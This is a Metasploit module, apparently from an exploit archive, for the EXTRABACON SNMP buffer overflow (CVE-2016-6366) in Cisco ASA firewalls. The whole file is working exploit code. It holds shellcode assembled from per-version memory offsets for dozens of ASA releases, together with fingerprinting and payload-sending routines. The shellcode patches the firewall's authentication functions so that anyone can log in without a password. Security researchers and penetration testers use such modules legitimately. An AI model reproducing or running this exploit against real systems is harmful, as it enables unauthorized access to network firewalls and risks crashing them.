Cisco ASA Authentication Bypass (EXTRABACON)

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::SNMPClient  
include Msf::Auxiliary::Cisco  
include Msf::Exploit::Deprecated  
moved_from 'auxiliary/admin/cisco/cisco_asa_extrabacon'  
  
def initialize  
super(  
'Name' => 'Cisco ASA Authentication Bypass (EXTRABACON)',  
'Description' => %q{  
This module patches the authentication functions of a Cisco ASA  
to allow uncredentialed logins. Uses improved shellcode for payload.  
},  
'Author' => [  
'Sean Dillon <[email protected]>',  
'Zachary Harding <[email protected]>',  
'Nate Caroe <[email protected]>',  
'Dylan Davis <[email protected]>',  
'William Webb <william_webb[at]rapid7.com>', # initial module and ASA hacking notes  
'Jeff Jarmoc <jjarmoc>', # minor improvements  
'Equation Group',  
'Shadow Brokers'  
],  
'References' => [  
[ 'CVE', '2016-6366'],  
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160817-asa-snmp'],  
[ 'URL', 'https://github.com/RiskSense-Ops/CVE-2016-6366'],  
],  
'License' => MSF_LICENSE,  
'Actions' => [  
['PASS_DISABLE', { 'Description' => 'Disable password authentication.' } ],  
['PASS_ENABLE', { 'Description' => 'Enable password authentication.' } ]  
],  
'DefaultAction' => 'PASS_DISABLE',  
'Notes' => {  
'AKA' => ['EXTRABACON']  
}  
)  
  
@offsets = version_offsets  
  
register_options([  
OptEnum.new('ASAVER', [ false, 'Target ASA version (default autodetect)', 'auto', ['auto'] + @offsets.keys]),  
])  
  
deregister_options('VERSION')  
datastore['VERSION'] = '2c' # SNMP v. 2c required it seems  
end  
  
def version_offsets  
# Payload offsets for supported ASA versions.  
# See https://github.com/RiskSense-Ops/CVE-2016-6366  
return {  
'9.2(4)13' => ['197.207.10.8', '70.97.40.9', '72', '0.16.185.9', '240.30.185.9', '85.49.192.137', '0.80.8.8', '240.95.8.8', '85.137.229.87'],  
'9.2(4)' => ['101.190.10.8', '54.209.39.9', '72', '0.48.184.9', '192.52.184.9', '85.49.192.137', '0.80.8.8', '0.91.8.8', '85.137.229.87'],  
'9.2(3)' => [  
'29.112.29.8', # jmp_esp_offset, 0  
'134.115.39.9', # saferet_offset, 1  
'72', # fix_ebp, 2  
'0.128.183.9', # pmcheck_bounds, 3  
'16.128.183.9', # pmcheck_offset, 4  
'85.49.192.137', # pmcheck_code, 5  
'0.80.8.8', # admauth_bounds, 6  
'64.90.8.8', # admauth_offset, 7  
'85.137.229.87'  
], # admauth_code, 8  
'9.2(2)8' => ['21.187.10.8', '54.245.39.9', '72', '0.240.183.9', '16.252.183.9', '85.49.192.137', '0.80.8.8', '64.90.8.8', '85.137.229.87'],  
'9.2(1)' => ['197.180.10.8', '54.118.39.9', '72', '0.240.182.9', '16.252.182.9', '85.49.192.137', '0.80.8.8', '176.84.8.8', '85.137.229.87'],  
'9.1(1)4' => ['173.250.27.8', '134.177.3.9', '72', '0.112.127.9', '176.119.127.9', '85.49.192.137', '0.48.8.8', '96.49.8.8', '85.137.229.87'],  
'9.0(1)' => ['221.227.27.8', '134.13.3.9', '72', '0.176.126.9', '112.182.126.9', '85.49.192.137', '0.32.8.8', '240.45.8.8', '85.137.229.87'],  
'8.4(7)' => ['109.22.18.8', '70.254.226.8', '72', '0.144.87.9', '80.156.87.9', '85.49.192.137', '0.32.8.8', '0.34.8.8', '85.137.229.87'],  
'8.4(6)5' => ['125.63.32.8', '166.11.228.8', '72', '0.176.88.9', '96.186.88.9', '85.49.192.137', '0.32.8.8', '240.33.8.8', '85.137.229.87'],  
'8.4(4)9' => ['173.23.5.8', '166.113.226.8', '72', '0.144.86.9', '224.154.86.9', '85.49.192.137', '0.16.8.8', '160.27.8.8', '85.137.229.87'],  
'8.4(4)5' => ['202.250.13.8', '246.48.226.8', '72', '0.64.86.9', '16.69.86.9', '85.49.192.137', '0.16.8.8', '160.27.8.8', '85.137.229.87'],  
'8.4(4)3' => ['164.119.8.8', '102.0.226.8', '72', '0.240.85.9', '96.252.85.9', '85.49.192.137', '0.16.8.8', '160.27.8.8', '85.137.229.87'],  
'8.4(4)1' => ['253.74.114.8', '150.236.225.8', '72', '0.192.85.9', '176.202.85.9', '85.49.192.137', '0.16.8.8', '176.27.8.8', '85.137.229.87'],  
'8.4(4)' => ['111.198.161.9', '181.105.226.8', '72', '0.192.85.9', '240.201.85.9', '85.49.192.137', '0.16.8.8', '176.27.8.8', '85.137.229.87'],  
'8.4(3)' => ['13.178.7.8', '150.219.224.8', '72', '0.192.84.9', '208.207.84.9', '85.49.192.137', '0.16.8.8', '208.23.8.8', '85.137.229.87'],  
'8.4(2)' => ['25.71.20.9', '230.222.223.8', '72', '0.128.83.9', '240.143.83.9', '85.49.192.137', '0.16.8.8', '224.19.8.8', '85.137.229.87'],  
'8.4(1)' => ['173.58.17.9', '6.12.219.8', '72', '0.240.72.9', '240.252.72.9', '85.49.192.137', '0.48.8.8', '144.56.8.8', '85.137.229.87'],  
'8.3(2)40' => ['169.151.13.8', '124.48.196.8', '88', '0.128.59.9', '48.137.59.9', '85.49.192.137', '0.224.6.8', '32.228.6.8', '85.137.229.87'],  
'8.3(2)39' => ['143.212.14.8', '124.48.196.8', '88', '0.128.59.9', '176.136.59.9', '85.49.192.137', '0.224.6.8', '32.228.6.8', '85.137.229.87'],  
'8.3(2)' => ['220.203.69.9', '252.36.195.8', '88', '0.80.54.9', '144.84.54.9', '85.49.192.137', '0.208.6.8', '16.222.6.8', '85.137.229.87'],  
# "8.3(2)-npe" => ["125.116.12.8", "76.34.195.8", "88", "0.80.54.9", "224.81.54.9", "85.49.192.137", "0.208.6.8", "16.222.6.8", "85.137.229.87"],  
'8.3(1)' => ['111.187.14.8', '140.140.194.8', '88', '0.112.53.9', '240.119.53.9', '85.49.192.137', '0.208.6.8', '48.221.6.8', '85.137.229.87'],  
'8.2(5)41' => ['77.90.18.8', '188.9.187.8', '88', '0.160.50.9', '16.168.50.9', '85.49.192.137', '0.240.6.8', '16.243.6.8', '85.137.229.87'],  
'8.2(5)33' => ['157.218.29.8', '236.190.186.8', '88', '0.80.50.9', '96.92.50.9', '85.49.192.137', '0.240.6.8', '192.242.6.8', '85.137.229.87'],  
'8.2(5)' => ['253.13.54.9', '156.229.185.8', '88', '0.16.48.9', '96.28.48.9', '85.49.192.137', '0.240.6.8', '64.242.6.8', '85.137.229.87'],  
'8.2(4)' => ['93.172.49.9', '236.91.185.8', '88', '0.176.43.9', '96.187.43.9', '85.49.192.137', '0.240.6.8', '16.242.6.8', '85.137.229.87'],  
'8.2(3)' => ['45.0.7.8', '252.42.185.8', '88', '0.96.43.9', '128.111.43.9', '85.49.192.137', '0.240.6.8', '144.241.6.8', '85.137.229.87'],  
'8.2(2)' => ['150.54.28.9', '124.0.184.8', '88', '0.224.41.9', '32.227.41.9', '85.49.192.137', '0.208.6.8', '64.221.6.8', '85.137.229.87'],  
'8.2(1)' => ['147.242.43.9', '108.154.181.8', '88', '0.0.36.9', '240.14.36.9', '85.49.192.137', '0.208.6.8', '16.215.6.8', '85.137.229.87'],  
'8.0(5)' => ['253.116.31.9', '204.64.171.8', '88', '0.32.24.9', '64.32.24.9', '85.49.192.137', '0.96.6.8', '128.107.6.8', '85.137.229.87'],  
'8.0(4)32' => ['157.6.31.9', '44.20.171.8', '88', '0.176.23.9', '0.176.23.9', '85.49.192.137', '0.96.6.8', '48.105.6.8', '85.137.229.87'],  
'8.0(4)' => ['109.188.26.9', '140.100.168.8', '88', '0.96.19.9', '128.101.19.9', '85.49.192.137', '0.96.6.8', '176.104.6.8', '85.137.229.87'],  
'8.0(3)6' => ['191.143.24.9', '28.158.161.8', '88', '0.0.11.9', '224.1.11.9', '85.49.192.137', '0.96.6.8', '112.101.6.8', '85.137.229.87'],  
'8.0(3)' => ['141.123.131.9', '156.138.160.8', '88', '0.128.9.9', '112.130.9.9', '85.49.192.137', '0.96.6.8', '176.96.6.8', '85.137.229.87'],  
'8.0(2)' => ['155.222.211.8', '44.103.159.8', '88', '0.224.6.9', '32.237.6.9', '85.49.192.137', '0.80.6.8', '48.90.6.8', '85.137.229.87']  
}  
end  
  
def check  
begin  
vers_string = retrieve_asa_version  
rescue ::StandardError  
print_error('Error: Unable to retrieve version information')  
return Exploit::CheckCode::Unknown  
end  
  
if @offsets[vers_string]  
print_good("Payload for Cisco ASA version #{vers_string} available!")  
return Exploit::CheckCode::Appears  
end  
  
print_warning("Received Cisco ASA version #{vers_string}, but no payload available")  
return Exploit::CheckCode::Detected  
end  
  
def build_payload(vers_string, mode)  
# adds offsets to the improved shellcode  
# https://github.com/RiskSense-Ops/CVE-2016-6366/blob/master/shellcode.nasm  
  
if mode == 'PASS_DISABLE'  
always_return_true = '49.192.64.195'  
pmcheck_bytes = always_return_true  
admauth_bytes = always_return_true  
else # PASS_ENABLE  
pmcheck_bytes = @offsets[vers_string][5]  
admauth_bytes = @offsets[vers_string][8]  
end  
  
preamble_snmp = ''  
preamble_snmp << '49.219.49.246.49.201.49.192.96.49.210.128.197.16.128.194.7.4.125.80.187.'  
preamble_snmp << @offsets[vers_string][3]  
preamble_snmp << '.205.128.88.187.'  
preamble_snmp << @offsets[vers_string][6]  
preamble_snmp << '.205.128.199.5.'  
preamble_snmp << @offsets[vers_string][4]  
preamble_snmp << '.'  
preamble_snmp << pmcheck_bytes  
preamble_snmp << '.199.5.'  
preamble_snmp << @offsets[vers_string][7]  
preamble_snmp << '.'  
preamble_snmp << admauth_bytes  
preamble_snmp << '.97.104.'  
preamble_snmp << @offsets[vers_string][1]  
preamble_snmp << '.128.195.16.191.11.15.15.15.137.229.131.197.'  
preamble_snmp << @offsets[vers_string][2]  
preamble_snmp << '.195'  
  
preamble_len = preamble_snmp.split('.').length  
preamble_snmp << '.144' * (82 - preamble_len)  
  
# cufwUrlfServerStatus  
head = '1.3.6.1.4.1.9.9.491.1.3.3.1.1.5'  
head << '.9.95'  
  
finder_snmp = '139.124.36.20.139.7.255.224.144'  
  
overflow = [head, preamble_snmp, @offsets[vers_string][0], finder_snmp].join('.')  
return overflow  
end  
  
def run  
vers_string = retrieve_asa_version  
  
print_status("Building #{action.name} payload for version #{vers_string}...")  
overflow = build_payload(vers_string, action.name)  
payload = SNMP::ObjectId.new(overflow)  
  
print_status('Sending SNMP payload...')  
response = snmp.get_bulk(0, 1, [SNMP::VarBind.new(payload)])  
  
if response.varbind_list  
print_good('Clean return detected!')  
if action.name == 'PASS_DISABLE'  
print_warning("Don't forget to run PASS_ENABLE after logging in!")  
print_warning(' set ACTION PASS_ENABLE')  
end  
end  
rescue ::Rex::ConnectionError  
print_error('Connection Error: Is the target up?')  
rescue ::SNMP::RequestTimeout  
print_error('SNMP Error: Request Timeout, Cisco ASA may have crashed :/')  
rescue ::SNMP::UnsupportedVersion  
print_error('SNMP Error: Version 2c is not supported by target.')  
rescue ::NoMethodError  
print_error("Error: No payload available for version #{vers_string}")  
rescue ::Interrupt  
raise $ERROR_INFO  
rescue ::StandardError => e  
print_error("Error: #{e.class} #{e} #{e.backtrace}")  
ensure  
disconnect_snmp  
end  
  
def retrieve_asa_version  
return datastore['ASAVER'] unless (datastore['ASAVER'] == 'auto')  
  
vprint_status('Fingerprinting via SNMP...')  
  
asa_version_oid = '1.3.6.1.2.1.47.1.1.1.1.10.1'  
mib2_sysdescr_oid = '1.3.6.1.2.1.1.1.0'  
  
snmp = connect_snmp  
ver = snmp.get_value(asa_version_oid).to_s  
vprint_status("OID #{asa_version_oid} yields #{ver}")  
  
if (ver == 'noSuchInstance')  
# asa_version_snmp OID isn't available on some models, fallback to MIB2 SysDescr  
ver = snmp.get_value(mib2_sysdescr_oid).rpartition(' ').last  
vprint_status("OID #{mib2_sysdescr_oid} yields #{ver}")  
end  
  
ver  
end  
end  
`